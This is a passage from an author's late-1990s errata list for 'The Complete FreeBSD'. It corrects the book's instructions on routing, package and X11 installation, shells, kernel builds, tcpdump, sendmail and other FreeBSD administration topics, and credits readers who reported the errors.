and   to   Francisco   Reyes   <francisco@natserv.com>   and   Bill    Fumerola
<billf@jade.chc-chimes.com>  for pointing out that it still wasn't fixed in the
third edition.

Page 409
________

The information on setting the default routers specified the wrong end  of  the
PPP  links  in  some  places.  It should always be the ``far'' end of the link.
Replace the second example on page 409, and the text following  it,  with  this
text:

defaultrouter="139.130.136.129"    # Set to default gateway (or NO).
static_routes=""              # Set to static route list (or leave empty).
gateway_enable="YES"               # Set to YES if this host will be a gateway.

This  is the normal way to set the default route on a point-to-point interface.
In fact, for PPP you don't  need  to  specify  the  default  address:  the  PPP
packages will set it for you when the link comes up.  This makes it possible to

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set default routes when you're forced to use dynamic IP  addresses,  where  you
don't know the address at this point.  We'll see how PPP does this on page 446.

In the first example on page 410, the sixth example on page 412 and the  second
example on page 413, replace the defaultrouter definition with:


defaultrouter="139.130.237.65"          # Set to default gateway (or NO).


Thanks to Andreas Longwitz <longwitz@Incore.de> for pointing out this error.

Getting errata for older editions of the book
_____________________________________________

There have been a total of five different versions of ``The Complete FreeBSD''.
The most accurate way to distinguish them is by the format date,  which  you'll
find  at  the  bottom of page iv (the page before the beginning of the Table of
Contents) in all versions of the book.

1. The first was titled ``Installing and running FreeBSD'', and  was  formatted
  on 24 February 1996.  No errata list exists for this book.

2. For  the first edition (19 July 1996), get ftp://ftp.lemis.com/pub/cfbsd/er-
  rata-1.   This   same   file   is   also   available   via   the   web   link
  http://www.lemis.com/errata-1. I am no longer updating this errata list.

3. The  list  for  the  second  edition (16 December 1997) is available in four
  forms:

  o A    PostScript    version,    suitable    for     printing     out,     at
    ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps.  See  page  222  of  the  second
    edition to find out how to print  out  PostScript.   If  at  all  possible,
    please take this document: it's closest to the original text.

    Be  careful  selecting this file with a web browser: it is often impossible
    to reload the document, and you may see a previously cached version.

  o An enhanced ASCII  version  at  ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt.
    When viewed with more or less, this version will show some highlighting and
    underlining.  It's not suitable for direct viewing.

  o An ASCII-only version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
    version  is  posted every week to the FreeBSD-questions mailing list.  Only

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    take this version if you have real problems with  PostScript:  I  can't  be
    sure that the lack of different fonts won't confuse the meaning.

  o A web version at http://www.lemis.com/errata-2.html.

4. The  revised  second edition was formatted on 11 February 1999.  As the name
  suggests, it's not a complete new edition: in fact, only three  chapters  are
  different:

  o The chapter ``Setting up X11'' has been brought up to date.

  o Appendix  D (``Contents of the Ports Collection'') has been replaced by two
    appendixes, ``Errata and Addenda'' (the errata list up to date at the time)
    and  ``FreeBSD  3.0'',  which describes the differences between FreeBSD 2.x
    and FreeBSD 3.x.

  There is no separate errata list for this book.  Refer to the second  edition
  errata list.

5. The  current,  third edition, formatted on 17 May 1999.  This is the correct
  list for this edition.
























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          Errata and addenda for the Complete FreeBSD, second edition




                          Last revision: 21 June 1999

The trouble with books is that you can't update them the way you can a web page
or any other online documentation.   The  result  is  that  most  leading  edge
computer  books are out of date almost before they are printed.  Unfortunately,
``The Complete FreeBSD'', published by Walnut  Creek,  is  no  exception.   In-
evitably, a number of bugs and changes have surfaced.

The  following  is  a list of modifications which go beyond simple typos.  They
relate to the second edition, formatted on 16 December 1997.  If you have  this
book,  please  check this list.  If you have the first edition of 19 July 1996,
please check ftp://ftp.lemis.com/pub/cfbsd/errata-1. This  same  file  is  also
available via the web link http://www.lemis.com/.

This list is available in four forms:

o A     PostScript     version,     suitable     for     printing    out,    at
  ftp://ftp.lemis.com/pub/cfbsd/errata-2.ps. See page 222 of the book  to  find
  out  how  to  print  out  PostScript.   If  at all possible, please take this
  document: it's closest to the original text.

  Be careful selecting this file with a web browser: it is often impossible  to
  reload the document, and you may see a previously cached version.

o An enhanced ASCII version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.txt. When
  viewed with more or less,  this  version  will  show  some  highlighting  and
  underlining.  It's not suitable for direct viewing.

o An  ASCII-only  version at ftp://ftp.lemis.com/pub/cfbsd/errata-2.ascii. This
  version is posted every week to the  FreeBSD-questions  mailing  list.   Only
  take  this version if you have real problems with PostScript: I can't be sure
  that the lack of different fonts won't confuse the meaning.

o A web version at http://www.lemis.com/errata-2.html.

All these modifications have been applied to the ongoing  source  text  of  the
book, so if you buy a later edition, they will be in it as well.  If you find a

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bug or a suspected bug in the book, please contact me at <grog@FreeBSD.org.>

General changes
_______________


o In a number of places, I suggest the use of the  following  command  to  find
  process information:

  $ ps aux | grep foo

  Unfortunately,  ps  is sensitive to the column width of the terminal emulator
  upon which it is working.  This command usually works fine  on  a  relatively
  wide  xterm,  but if you're running on an 80-column terminal, it may truncate
  exactly the information you're looking for, so you end  up  with  no  output.
  You can fix that with the w option:

  $ ps waux | grep foo

  Thanks to Sue Blake <sue@welearn.com.au> for this information


Location of the sample files
____________________________

On  the  2.2.5 CD-ROM only, the location of the sample files does not match the
specifications in the book (/book on the first CD-ROM).  The 2.2.5 CD-ROM  came
out before the book, and it contains the files on the third (repository) CD-ROM
as a single gzipped tar file  /xperimnt/cfbsd/cfbsd.tar.gz.   It  contains  the
following files:

drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/
drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/mutt/
-rw-r--r-- jkh/jkh         352 Oct 15 15:21 1997 cfbsd/mutt/.mail_aliases
-rw-r--r-- jkh/jkh        9394 Oct 15 15:22 1997 cfbsd/mutt/.muttrc
drwxr-xr-x jkh/jkh           0 Oct 17 14:02 1997 cfbsd/scripts/
-rw-r--r-- jkh/jkh       18281 Oct 16 16:52 1997 cfbsd/scripts/.fvwm2rc
-rwxr-xr-x jkh/jkh        1392 Oct 17 12:54 1997 cfbsd/scripts/install-desktop
-rw-r--r-- jkh/jkh         296 Oct 17 12:35 1997 cfbsd/scripts/.xinitrc
-rwxr-xr-x jkh/jkh         622 Oct 17 13:51 1997 cfbsd/scripts/install-rcfiles
-rw-r--r-- jkh/jkh        1133 Oct 17 13:00 1997 cfbsd/scripts/Uutry
-rw-r--r-- jkh/jkh        1028 Oct 17 14:02 1997 cfbsd/scripts/README
drwxr-xr-x jkh/jkh           0 Oct 18 19:32 1997 cfbsd/docs/
-rw-r--r-- jkh/jkh      199111 Oct 16 14:29 1997 cfbsd/docs/packages.txt

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-rw-r--r-- jkh/jkh      189333 Oct 16 14:28 1997 cfbsd/docs/packages-by-category.txt
-rw-r--r-- jkh/jkh      188108 Oct 16 14:29 1997 cfbsd/docs/packages.ps
-rw-r--r-- jkh/jkh      226439 Oct 16 14:27 1997 cfbsd/docs/packages-by-category.ps
-rw-r--r-- jkh/jkh         788 Oct 16 15:01 1997 cfbsd/README
-rw-r--r-- jkh/jkh         248 Oct 17 11:52 1997 cfbsd/errata

To  extract  one  of these files, say cfbsd/docs/packages.txt, and assuming you
have the CD-ROM mounted as /cdrom, enter:

# cd /usr/share/doc
# tar xvzf /cdrom/xperimnt/cfbsd/cfbsd.tar.gz cfbsd/docs/packages.txt

See page 209 for more information on using tar.

These files are an early version of what is described in the book.  I'll put up
some updated versions on ftp://ftp.lemis.com/ in the near future.

Thanks  to Frank McCormick <gfm@readybox.com> for drawing this to my attention.

Chapter 8: Setting up X11
_________________________

For FreeBSD 2.2.7, this chapter has changed sufficiently to make it impractical
to   distribute   errata.    You  can  download  the  PostScript  version  from
ftp://www.lemis.com/pub/cfbsd/xsetup.ps,   or   the    ASCII    version    from
ftp://www.lemis.com/pub/cfbsd/xsetup.txt.  No HTML version is available.

Page xxxiv
__________

Before the discussion of the shell prompts in the middle of the page, add:

In this book, I recommend the use of the Bourne shell or one of its descendents
(sh, bash, pdksh, ksh or zsh).  With the exception of sh, they are all  in  the
Ports Collection.  I personally use the bash shell.

This  is a personal preference, and a recommendation, but it's not the standard
shell.  The standard BSD shell is the  C  shell  (csh),  which  has  a  fuller-
featured  descendent  tcsh.   In particular, the standard installation sets the
root user up with a csh.  See page 152 (in this errata) for details of  how  to
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Page 11: Reading the handbook
_____________________________

The  CD-ROM  now includes Netscape.  Replace the last paragraph on the page and
the example on the following page with:

If you're running X, you can use a browser like netscape to read the  handbook.
If you don't have X running yet, use lynx.  Both of these programs are included
on the CD-ROM.  To install them, enter:

# pkg_add /cdrom/packages/All/netscape-communicator-4.5.tgz
or
# pkg_add /cdrom/packages/All/lynx-2.8.1.1.tgz

The numbers after the name (4.5 and 2.8.1.1) may change  after  this  book  has
been  printed.   Use  ls  to  list the names if you can't find these particular
versions.

Note that lynx is not a complete substitute for netscape:  since  it  is  text-
only,  it  is  not  capable  of  displaying  the  large  majority  of web pages
correctly.  It will suffice for reading most of the handbook, however.

Thanks to Stuart Henderson <stuart@internationalschool.co.uk> and <gkaplan@cas-
tle.net> for drawing this to my attention.

Page 12: Printing the handbook
______________________________

The instructions for formatting the handbook are obsolete.  Replace the section
starting Alternatively, you can print out the handbook with the following text:

Alternatively,  you  can  print  out  the  handbook.   You  need  to  have  the
documentation sources (/usr/doc) installed on your system.  You can  find  them
on the second CD-ROM in the directory of the same name.  To install them, first
mount your CD-ROM (see page 175).  Then enter:

$ cd /cdrom/usr/doc/handbook
$ mkdir -p /usr/doc/handbook            you may need to be root for this operation
$ cp -pr * /usr/doc/handbook

You have a choice of formats for the output:

o ascii will give you plain 7-bit ASCII  output,  suitable  for  reading  on  a
  character-mode terminal.

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o html will give you HTML output, suitable for browsing with a web browser.

o latex  will  give  you LATEX format, suitable for further processing with TEX
  and LATEX.

o ps will give you PostScript output, probably the best choice for printing.

o roff will give you output in troff source.  You can process this output  with
  nroff  or  troff,  but  it's  currently not very polished.  LATEX output is a
  better choice if you want to process it further.

Once you have decided your format,  use  make  to  create  the  document.   For
example, if you decide on PostScript format, you would enter:

$ make FORMATS=ps

This  creates  a  file  handbook.ps  which  you  can then print to a PostScript
printer or with the aid of ghostscript (see page 222).

Thanks to Bob Beer <r-beer@onu.edu> for drawing this to my attention.

Page 45:  Preparing floppies for installation
_____________________________________________

Replace the paragraph below the list of file names (in the middle of the  page)
with:

The  floppy  set should contain the file bin.inf and the ones whose names start
with bin. followed by two letters.  These other  files  are  all  240640  bytes
long,  except  for the final one which is usually shorter.  Use the MS-DOS COPY
program to copy as many files as will fit onto each disk (5 or 6) until  you've
got  all  the  distributions  you  want  packed  up in this fashion.  Copy each
distribution into subdirectory corresponding to  the  base  name--for  example,
copy the bin distribution to the files A:\BIN\BIN.INF, A:\BIN\BIN.AA and so on.

Page 80 and 81
______________

In a couple of examples, the FreeBSD partition is shown as type 164.  It should
be  165.   Thanks  to an unknown contributer for this correction (sorry, I lost
your name).




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Page 88: setting up for dumping
_______________________________

The example mentions a variable savecore in /etc/rc.conf.  This variable is  no
longer used--it's enough to set the variable dumpdev.

Page 92
_______

At the end of the section How to install a package add the text:

Alternatively,  you  can  install  packages  from  the  /stand/sysinstall Final
Configuration Menu.  We saw this menu on page in figure 4-14 on page 71.   When
you  start  sysinstall from the command line, you get to this menu by selecting
Index, and then selecting Configure.


Page 93
_______

Before the heading Install ports from the first CD-ROM add:


Install ports when installing the system
________________________________________

The file ports/ports.tgz on the first CD-ROM is a tar  archive  containing  all
the  ports.   You  can install it with the base system if you select the Custom
distribution and include the ports collection.  If you didn't install  them  at
the  time,  use  the  following method to install them all (about 40 MB).  Make
sure your CD-ROM is mounted (in this example on /cdrom), and enter:

Page 96
_______

Replace the example at the top of the page with:

Instead, do:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# for i in *; do
>   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
> done

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If you're using csh or tcsh, enter:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# foreach i (*)
?   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
? end

Thanks to Christopher Raven <gurab@lineone.net>  and  Francois  Jacques  <fran-
cois.jacques@callisto.si.usherb.ca> for drawing this to my attention.

Page 104
________

The examples at the bottom of the page and the top of the next page specify the
wrong directory (/usr).  It should be /usr/X11R6.  Replace the examples with:

For a full install, choose /cdrom/dists/XF86331/X331*.tgz.  If  you  are  using
sh, enter:

# cd /usr/X11R6
# for i in /cdrom/dists/XF86331/X331*.tgz; do
#   tar xzf $i
# done

If you are using csh, enter:

% cd /usr/X11R6
% foreach i (/cdrom/dists/XF86331/X331*.tgz)
%   tar xzf $i
% end

For a minimal installation, first choose a server archive corresponding to your
VGA board.  If table 8-2 on page 103 doesn't give you enough information, check
the  server  man  pages,  starting  on  page 1545, which list the VGA chip sets
supported by each server.  For example, if you have an ET4000 based  board  you
will use the XF86_SVGA server.  In this case you would enter:

# cd /usr/X11R6
# tar xzf /cdrom/dists/XF86331/X331SVGA.tgz  substitute your server name here
# for i in bin fnts lib xicf; do
#   tar xzf /cdrom/dists/XF86331/X331$i.tgz
# done


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If you are using csh, enter:

% cd /usr/X11R6
% tar xzf /cdrom/dists/XF86331/X331SVGA.tgz  substitute your server name here
% foreach i (bin fnts lib xicf)
%   tar xzf /cdrom/dists/XF86331/$i
% end


Thanks  to Manuel Enrique Garcia Cuesta <megarcia@intercom.es> for pointing out
this one.

Page 128
________

Replace the complete text below the example with the following:

These values are defaults, and many  are  either  incorrect  for  FreeBSD  (for
example the device name /dev/com1) or do not apply at all (for example Xqueue).
If you are configuring manually, select one Protocol and one Device entry  from
the  following  selection.   If  you must use a two-button mouse, uncomment the
keyword Emulate3Buttons--in this mode, pressing both mouse  buttons  simultane-
ously  within Emulate3Timeout milliseconds causes the server to report a middle
button press.

Section "Pointer"

    Protocol   "Microsoft"         for Microsoft protocol mice
    Protocol    "MouseMan"         for Logitech mice
    Protocol    "PS/2"             for a PS/2 mouse
    Protocol    "Busmouse"         for a bus mouse

    Device     "/dev/ttyd0"        for a mouse on the first serial port
    Device     "/dev/ttyd1"        for a mouse on the second serial port
    Device     "/dev/ttyd2"        for a mouse on the third serial port
    Device     "/dev/ttyd3"        for a mouse on the fourth serial port
    Device     "/dev/psm0"         for a PS/2 mouse
    Device     "/dev/mse0"         for a bus mouse

    Emulate3Buttons           only for a two-button mouse

EndSection

You'll notice that the protocol name does not always match  the  manufacturer's

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name.   In  particular,  the  Logitech  protocol only applies to older Logitech
mice.  The newer ones use either the MouseMan or Microsoft  protocols.   Nearly
all modern serial mice run one of these two protocols, and most run both.

If  you are using a bus mouse or a PS/2 mouse, make sure that the device driver
is included in the kernel.  The GENERIC kernel contains drivers for both  mice,
but the PS/2 driver is disabled.  Use UserConfig (see page 50) to enable it.

Page 140
________

Just before the paragraph The super user add the following paragraph:

If  you  do  manage to lose the root password, all may not be lost.  Reboot the
machine to single user mode (see page 157), and enter:

# mount -u /             mount root file system read/write
# mount /usr             mount /usr file system (if separate)
# passwd root            change the password for root
Enter new password:
Enter password again:
# ^D                enter ctrl-D to continue with startup

If you have a separate /usr file system (the normal case), you need to mount it
as  well, since the passwd program is in the directory /usr/bin.  Note that you
should explicitly state the name root: in single user mode, the system  doesn't
have the concept of user IDs.

Page 148
________

Replace the text at the top of the page with:

Modern  shells  supply  command  line editing which resembles the editors vi or
Emacs.  In bash, sh, ksh, and zsh you can make the choice by entering

Page 152
________

After figure 10-8, add the following text:

It  would  be  tedious  for  every  user  to  put  settings  in  their  private
initialization  files, so the shells also read a system-wide default file.  For
the Bourne shell family, it is /etc/profile, while the C shell family has three

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files:  /etc/csh.login  to  be executed on login, /etc/csh.cshrc to be executed
when a new shell is started  after  you  log  in,  and  /etc/csh.logout  to  be
executed  when  you  stop  a  shell.   The  start files are executed before the
corresponding individual files.

In  addition,  login  classes  (page  141)  offer  another  method  of  setting
environment variables at a global level.

Changing your shell
___________________

The  FreeBSD  installation  gives root a C shell, csh.  This is the traditional
Berkeley shell, but it has a number of disadvantages: command line  editing  is
very primitive, and the script language is significantly different from that of
the Bourne shell, which is the de facto standard for shell scripts: if you stay
with  the  C  shell,  you  may  still need to understand the Bourne shell.  The
latest version of the Bourne shell sh also includes some command line  editing.
See page 148 for details of how to enable it.

You  can  get  better  command line editing with tcsh, in the Ports Collection.
You can get both better command line editing and Bourne shell syntax with bash,
also in the Ports Collection.

If  you  have root access, you can use vipw to change your shell, but there's a
more general way: use chsh (Change Shell).  Simply run the program.  It  starts
your  favourite editor (as defined by the EDITOR environment variable).  Here's
an example before:

#Changing user database information for velte.
Shell: /bin/csh
Full Name: Jack Velte
Location:
Office Phone:
Home Phone:

You can change anything after the colons.  For example, you might  change  this
to:

#Changing user database information for velte.
Shell: /usr/local/bin/bash
Full Name: Jack Velte
Location: On the road
Office Phone: +1-408-555-1999
Home Phone:

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chsh  checks and updates the password files when you save the modifications and
exit the editor.  The next time you log in, you get the new shell.  chsh  tries
to  ensure you don't make any mistakes--for example, it won't let you enter the
name of a shell which isn't mentioned in the file /etc/shells--but it's a  very
good  idea  to  check  the shell before logging out.  You can try this with su,
which you normally use to become super user:

bumble# su velte
Password:
su-2.00$                 note the new prompt

There are a couple of problems in using tcsh or bash as a root shell:

o The shell for root must be on the root file system,  otherwise  it  will  not
  work  in single user mode.  Unfortunately, most ports of shells put the shell
  in the directory /usr/local/bin, which is  almost  never  on  the  root  file
  system.

o Most  shells  are  dynamically linked: they rely on library routines in files
  such as /usr/lib/libc.a.  These files are not available in single user  mode,
  so  the shells won't work.  You can solve this problem by creating statically
  linked versions of the shell, but this requires programming experience beyond
  the scope of this book.

If you can get hold of a statically linked version, perform the following steps
to install it:

o Copy the shell to /bin, for example:

  # cp /usr/local/bin/bash /bin

o Add the name of the shell to /etc/shells,  in this example the line  in  bold
  print:

  # List of acceptable shells for chpass(1).
  # Ftpd will not allow users to connect who are not using
  # one of these shells.
  /bin/sh
  /bin/csh
  /bin/bash


You can then change the shell for root as described above.


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Thanks  to  Lars Koller  <Lars.Koeller@Uni-Bielefeld.DE> for drawing this to my
attention.

Page 160
________

Replace the text at the fourth bullet with the augmented text:

The second-level boot locates the kernel, by default the file  /kernel  on  the
root file system, and loads it into memory.  It prints the Boot: prompt at this
point so that you can influence this choice--see the man page on page  579  for
more details of what you can enter at this prompt.

Page 169
________

Replace the last paragraph on the page with:

The standard solution for these problems is to relocate the /tmp file system to
a different directory, say /usr/tmp, and create a symbolic link  from  /usr/tmp
to /tmp--see Chapter 4, Installing FreeBSD, page 72, for more details.

Thanks to Charlie Sorsby <crs@hgo.net> for drawing this to my attention.

Page 176
________

Add the following paragraph

Unmounting file systems

When you mount a file system, the system assumes it is going to stay there, and
in the interests of efficiency it delays writing data back to the file  system.
This  is the same effect we discussed on page 158.  As a result, if you want to
stop using a file system, you need to tell the system about it.   You  do  this
with  the umount command.  Note the spelling--there's no n in the command name.

You need to do this even with read-only  media  such  as  CD-ROMs:  the  system
assumes  it  can  access the data from a mounted file system, and it gets quite
unhappy if it can't.  Where possible, it locks  removable  media  so  that  you
can't remove them from the device until you unmount them.

Using  umount  is  straightforward:  just  tell  it what to unmount, either the
device name or the directory name.  For  example,  to  unmount  the  CD-ROM  we

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mounted in the example above, you could enter one of these commands:

# umount /dev/cd1a
# umount /cd1

Before  unmounting  a  file  system, umount checks that nobody is using it.  If
somebody is using it, it will refuse to unmount it with a message like  umount:
/cd1:  Device  busy.   This  message often occurs because you have changed your
directory to a directory on the file system you want to  remove.   For  example
(which also shows the usefulness of having directory names in the prompt):

=== root@freebie (/dev/ttyp2) /cd1 16 -> umount /cd1
umount: /cd1: Device busy
=== root@freebie (/dev/ttyp2) /cd1 17 -> cd
=== root@freebie (/dev/ttyp2) ~ 18 -> umount /cd1
=== root@freebie (/dev/ttyp2) ~ 19 ->

Thanks to Ken Deboy <glockr@locked_and_loaded.reno.nv.us> for pointing out this
omission.

Page 180
________

The example in the middle of the page should read:

For example, to generate a second set of 32 pseudo-terminals, enter:

# cd /dev
# ./MAKEDEV pty1

You can generate up to 256 pseudo-terminals.   They  are  named  ttyp0  through
ttypv,  ttyq0  through  ttyqv,  ttyr0 through ttyrv, ttys0 through ttysv, ttyP0
through ttyPv, ttyQ0 through ttyQv,  ttyR0  through  ttyRv  and  ttyS0  through
ttySv.   To  create  each  set  of 32 terminals, use the number of the set: the
first set is pty0, and the eighth set is pty7.  Note that some processes,  such
as xterm, only look at ttyp0 through ttysv.

Thanks to Karl Wagner <karl@softronex.dynip.com> for pointing out this error.


Page 197, first line
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The text of the first full sentence reads:

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The first name, up the the  symbol, is the label.

In fact, it should read:

The first name, up to the | symbol, is the label.


Page 208, middle of page
________________________

The  example  shows  the  file  name /dev/rst0 when using the Bourne shell, and
/dev/nrst0  when  using  C  shell  and  friends.   This  is  inconsistent;  use
/dev/nrst0 with any shell if you want a non-rewinding tape, or /dev/rst0 if you
want a rewinding tape.

Thanks to Norman C Rice <nrice@emu.sourcee.com> for pointing out this one.

Page 219
________

Before the section Testing the spooler add the following section:

As we saw above, the line  printer  daemon  lpd  is  responsible  for  printing
spooled  jobs.   By default it isn't started at boot time.  If you're root, you
can start it by name:

# lpd

Normally, however, you will want it to be started automatically when the system
starts up.  You do this by setting the variable lpd_enable in /etc/rc.conf:

lpd_enable="YES"              # Run the line printer daemon

See page  for more details of /etc/rc.conf.

Another line in /etc/rc.conf refers to the line printer daemon:

lpd_flags=""        # Flags to lpd (if enabled).

You  don't  normally  need  to  change this line.  See the man page for lpd for
details of the flags.

Thanks to Tommy  G.  James  <tgj@worldnet.att.net>  for  bringing  this  to  my
attention.

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Page 231
________

Replace the first line of the example with:

xhost presto bumble gw

The original version allowed anybody on the Internet to access your system.

Thanks  to  Jerry  Dunham  <dunham@dunham.org>  for  drawing  this  one  to  my
attention.


Page 237
________

In the section Installing the sample desktop, replace the first paragraph with:

You'll  find  all  the  files  described  in  this  chapter on the first CD-ROM
(Installation CD-ROM) in the directory /book.  Remember that you must mount the
CD-ROM  before you can access the files--see page 175 for further details.  The
individual scripts are in the directory /book/scripts, but you'll probably find
it easier to install them with the script install-desktop:

Thanks to Chris Kaiser <kaiserc@fltg.net> for drawing this to my attention.

Page 242
________

The  instructions  for extracting the source files from CD-ROM in the middle of
page 242 are incorrect.  You'll find the kernel sources on the first CD-ROM  in
the directory /src.  Replace the example with:

# mkdir -p /usr/src/sys
# ln -s /usr/src/sys /sys
# cd /
# cat /cdrom/src/ssys.[a-d]* | tar xzvf -

Thanks    to    Raymond    Noel   <raynoel@videotron.ca>,   Suttipan   Limanond
<b0l6604@unix.tamu.edu> and Satwant <wizkid11@xnet.com> for finding this one in
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Page 257
________

Replace the paragraph Berkeley Packet Filter with:


pseudo-device bpfilter
______________________

The  Berkeley  Packet  Filter  (bpf)  allows  you to capture packets crossing a
network interface to disk or to examine them with the  tcpdump  program.   Note
that  this  capability represents a significant compromise of network security.
The number after bpfilter is the number of concurrent processes  that  can  use
the facility.  Not all network interfaces support bpf.

In  order  to  use  the Berkeley Packet Filter, you must also create the device
nodes /dev/bpf0 to /dev/bpf3 (if you're using the default number 4).   Current-
ly, MAKEDEV doesn't help much--you need to create each device separately:

# cd /dev
# ./MAKEDEV bpf0
# ./MAKEDEV bpf1
# ./MAKEDEV bpf2
# ./MAKEDEV bpf3

Thanks  to  Christopher  Raven  <c.raven@ukonline.co.uk> for drawing this to my
attention.

Page 264
________

In the list of disk driver flags, add:

o Bit 12 (0x1000) enables LBA (logical block addressing mode).  If this bit  is
  not set, the driver accesses the disk in CHS (cylinder/head/sector) mode.

o In  CHS  mode, if bits 11 to 8 are not equal to 0, they specify the number of
  heads to assume (between 1 and 15).  The driver recalculates  the  number  of
  cylinders to make up the total size of the disk.






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Page 273, ``Building the kernel''
_________________________________

Replace the example with:

Next, change to the build directory and build the kernel:

# cd ../../compile/FREEBIE
# make depend
# make

   The  make  depend  is needed even if the directory has just been created:
   apart from creating dependency information, it also  creates  some  files
   needed for the build.
Thanks to Mark Ovens <marcov@globalnet.co.uk> for drawing this to my attention.

Page 283, ``Creating the source tree''
______________________________________

Add a third point to what you need to know:

3. Possibly, the date of the last update that you want to be  included  in  the
  checkout.   If  you  specify  this date, cvs ignores any more recent updates.
  This option is often useful when somebody discovers a recently introduced bug
  in  -CURRENT:  you  check  out  the  modules  as they were before the bug was
  introduced.  You specify the date with the -D  option,  for  example  -D  "10
  December 1997".


Page 285, after the second example.
___________________________________

Add the text:

If  you  need  to check out an older version, for example if there are problems
with the most recent version of -CURRENT, you could enter:

# cvs co  -D "10 December 1997" src/sys

This command checks out the kernel sources as of 10 December 1997.





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Page 294
________

Add the following section:

Problems executing Linux binaries
_________________________________

One of the problems with the ELF format used by more recent Linux  binaries  is
that  they  usually  contain no information to identify them as Linux binaries.
They might equally well be BSD/OS or UnixWare binaries.  That's  not  really  a
problem  at  this point, since the only ELF format that FreeBSD 3.2 understands
is Linux, but FreeBSD-CURRENT recognizes a native FreeBSD ELF format  as  well,
and  of  course  that's  the default.  If you want to run a Linux ELF binary on
such a system, you must brand the executable using the program  brandelf.   For
example, to brand the StarOffice program swriter3, you would enter:

# brandelf -t linux /usr/local/StarOffice-3.1/linux-x86/bin/swriter3

Thanks to Dan Busarow <dan@dpcsys.com> for bringing this to my attention.

Page 364, middle of page
________________________

Change the text from:

The names MYADDR and HISADDR are keywords which represent the addresses at each
end of the link.  They must be written as shown, though they may  be  in  lower
case.

to

The names MYADDR and HISADDR are keywords which represent the addresses at each
end of the link.  They must be written as shown, though newer versions  of  ppp
allow you to write them in lower case.

Thanks to Mark S. Reichman <mark@fang.cs.sunyit.edu> for this correction.

Page 368
________

Replace the paragraph after the second example with:

In  FreeBSD  version  3.0  and  later,  specify  the  options  PPP_BSDCOMP  and

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PPP_DEFLATE to enable two kinds of compression.  You'll also  need  to  specify
the corresponding option in Kernel PPP's configuration file.  These options are
not available in FreeBSD version 2.

Thanks to Brian Somers <brian@Awfulhak.org> for this information.

Page 397
________

In the section ``Nicknames'', the example should read:

www       IN   CNAME          freebie
ftp       IN   CNAME          presto

In other words, there should be a space between CNAME and the system name.

Page 422
________

Replace the text above the example with:

tcpdump is a program which monitors a network interface and  displays  selected
information which passes through it.  It uses the Berkeley Packet Filter (bpf),
an optional component of the kernel.  It is not included in the GENERIC kernel:
see page 257 for information on how to configure it.

If you don't configure the Berkeley Packet Filter, you will get a message like

tcpdump: /dev/bpf0:  device not configured

If you forget to create the devices for bpf, you will get a message like:

tcpdump: /dev/bpf0: No such file or directory

Since  tcpdump poses a potential security problem, you must be root in order to
run it.  The simplest way to run it is without any parameters.  This will cause
tcpdump  to  monitor  and  display  all  traffic  on  the  first active network
interface, normally Ethernet:

Thanks to Christopher Raven <c.raven@ukonline.co.uk> for  drawing  this  to  my
attention.




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Page 423
________

The  description  at  the  top of the page incorrectly uses the term IP address
instead  of  Ethernet  address.   In  addition,  a  page  number  reference  is
incorrect.  Replace the paragraph with:

o Line  1  shows  an  ARP  request:  system  presto is looking for the Ethernet
  address of wait.  It would appear that  wait  is  currently  not  responding,
  since there is no reply.

o Line 2 is not an IP message at all.  tcpdump shows the Ethernet addresses and
  the beginning of the packet.  We don't consider this kind of request in  this
  book.

o Line 3 is a broadcast ntp message.  We looked at ntp on page 160.

o Line 4 is another attempt by presto to find the IP address of wait.

o Line  5  is  a  broadcast  message  from  bumble  on  the  rwho  port, giving
  information about its current load averages and how long it has been up.  See
  the man page for rwho on page 1167 for more information.

o Line 6 is from a TCP connection between port 6000 on freebie and port 1089 on
  presto.  It is sending 384 bytes (with  the  sequence  numbers  536925467  to
  536925851; see page 305), and is acknowledging that the last byte it received
  from presto had the sequence number 325114346.  The window size is 17280.

o Line 7 is another ARP request.  presto is looking for the Ethernet address of
  freebie.   How  can  that  happen?   We've  just  seen  that  they have a TCP
  connection.  In fact, ARP information expires after 20 minutes.   It's  quite
  possible  that  all  connections between presto and freebie have been dormant
  for this period, so presto needs to find freebie's IP address again.

o Line 8 is the ARP reply from freebie to presto giving its Ethernet address.

o Line 9 shows a reply from presto on the connection to freebie that we saw  on
  line  6.   It  acknowledges  the  data  up  to sequence number 536925851, but
  doesn't send any itself.

o Line 10 shows  another  448  bytes  of  data  from  freebie  to  presto,  and
  acknowledging the same sequence number from presto as in line 6.

Thanks to Sergei S. Laskavy <laskavy@hedgehog.cs.msu.su> for drawing this to my

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attention.

Page 450: anonymous ftp
_______________________

Replace the paragraph starting with Create a user ftp:

Create a user ftp, with the anonymous ftp directory as the home  directory  and
the  shell  /dev/null.  Using /dev/null as the shell makes it impossible to log
in as user ftp, but does not interfere with the use of anonymous ftp.  ftp  can
be a member of group bin, or you can create a new group ftp by adding the group
to /etc/group.  See page 138 for more details of adding users, and the man page
on page 805 for adding groups.

Thanks to Mark S. Reichman <mark@borg.com> for drawing this to my attention.

Page 466, before the ps example
_______________________________

Add another bullet:

o Finally,  you may find it convenient to let some other system handle all your
  mail delivery for you: you just send anything you can't  deliver  locally  to
  this  other  host,  which  sendmail calls a smart host.  This is particularly
  convenient if you send your mail with UUCP.

  To tell sendmail to use a smart host (in our  case,  mail.example.net),  find
  the following line in sendmail.cf:

  # "Smart" relay host (may be null)
  DS

  Change it to:

  # "Smart" relay host (may be null)
  DSmail.example.net


Page 478, ``Running Apache''
____________________________

The  text  describes the location of the server as /usr/local/www/server/httpd.
This appears to depend on where you get the port from.  Some people report  the
file  being  at the more likely location /usr/local/sbin/httpd (though note the

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directory sbin, not bin).  Check  both  locations  if  you  run  into  trouble.
Thanks to Sue Blake <sue@welearn.com.au> for this information.

Page 492
________

Replace references to nmdb with nmbd.

Page 493
________

Replace the last paragraph on the page with:

socket  options  is  hardly  mentioned  in  the  documentation,  but  it's very
important:  many  Microsoft  implementations  of  TCP/IP  are  inefficient  and
establish  a  new  TCP  more  often  than necessary.  Select the socket options
